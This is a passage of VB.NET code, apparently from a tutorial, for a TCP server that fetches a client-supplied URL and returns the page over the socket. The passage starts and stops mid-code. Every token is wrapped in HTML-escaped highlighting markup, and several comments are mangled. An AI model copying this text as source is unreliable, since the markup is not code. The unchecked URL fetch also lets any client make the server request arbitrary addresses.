                     networkStream.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(sendBytes, 0, sendBytes.Length)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ElseIf&lt;/span&gt; clientdata.Substring(0, 1) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"2"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Command&lt;/span&gt; #2: A web request.
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  I consider the web request &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;command&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt;: &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"2http://www.google.com"&lt;/span&gt;,
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  so, I send the &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;command&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"gotoWeb"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;function&lt;/span&gt; w/o its first letter.
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sTheURL &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; clientdata.Substring(1, clientdata.Length &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;-&lt;/span&gt; 1)
                     TCPSrv.gotoWeb(networkStream, sTheURL)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Else&lt;/span&gt;
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Unhandled &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;command&lt;/span&gt; request found!
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; responseString &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Ops... I dont know this command!"&lt;/span&gt;
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; [&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Byte&lt;/span&gt;]() &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.ASCII.GetBytes(responseString)
                     networkStream.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(sendBytes, 0, sendBytes.Length)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt;

                 tcpClient.Close()
                 tcpListener.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Stop&lt;/span&gt;()

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt;
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Catch&lt;/span&gt; e &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Exception
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  A serious &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;error&lt;/span&gt; occured. Display its &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;description&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the console.
             Console.WriteLine(e.ToString())
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Finally&lt;/span&gt;
             tcpListener.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Stop&lt;/span&gt;()
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Sub&lt;/span&gt;

     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; ***************************************************************************************
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  This &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; a very simple &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;function&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; access a web server (via HTTP), &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;get&lt;/span&gt; the server response,
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  store this response &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; a &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;string&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; send it via TCP &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the client.
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; 
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Shared&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Sub&lt;/span&gt; gotoWeb(&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ByVal&lt;/span&gt; netStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; NetworkStream, &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ByVal&lt;/span&gt; sUrl &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt;)
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; [&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Byte&lt;/span&gt;]()
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sWebHtmlResponse &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt;

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Create a &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; WebRequestREM  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;object&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;with&lt;/span&gt; the specified url 
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; myWebRequest &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; WebRequest &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; WebRequest.Create(sUrl)

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Send the &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; WebRequestREM  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; wait &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;for&lt;/span&gt; response.
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; myWebResponse &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; WebResponse &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; myWebRequest.GetResponse()

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sPageEncoding &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;DirectCast&lt;/span&gt;(myWebResponse, System.Net.HttpWebResponse).CharacterSet

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Call&lt;/span&gt; method &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; GetResponseStreamREM  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; obtain stream associated &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;with&lt;/span&gt; the response &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;object&lt;/span&gt;
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; ReceiveStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Stream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; myWebResponse.GetResponseStream()

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; the operating system has the encoding of the web page &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;then&lt;/span&gt; use it, otherwise use the &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;default&lt;/span&gt;.
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; encode &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Encoding
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;
                 encode &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; System.Text.Encoding.GetEncoding(sPageEncoding)
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Catch&lt;/span&gt; ex &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Exception
                 encode &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; System.Text.Encoding.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Default&lt;/span&gt;
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Pipe the stream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; a higher level stream reader &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;with&lt;/span&gt; the required encoding &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;format&lt;/span&gt;.
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; readStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;New&lt;/span&gt; StreamReader(ReceiveStream, encode)
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; read(256) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Char&lt;/span&gt;

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Read 256 characters at a time.
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;count&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Integer&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; readStream.Read(read, 0, 256)
             sWebHtmlResponse &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;""&lt;/span&gt;
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;count&lt;/span&gt; &amp;gt; 0
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Dump the 256 characters &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;on&lt;/span&gt; a &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;string&lt;/span&gt; .
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;str&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;New&lt;/span&gt; [&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt;](read, 0, &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;count&lt;/span&gt;)
                 sWebHtmlResponse += &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;str&lt;/span&gt;
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;count&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; readStream.Read(read, 0, 256)
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt;

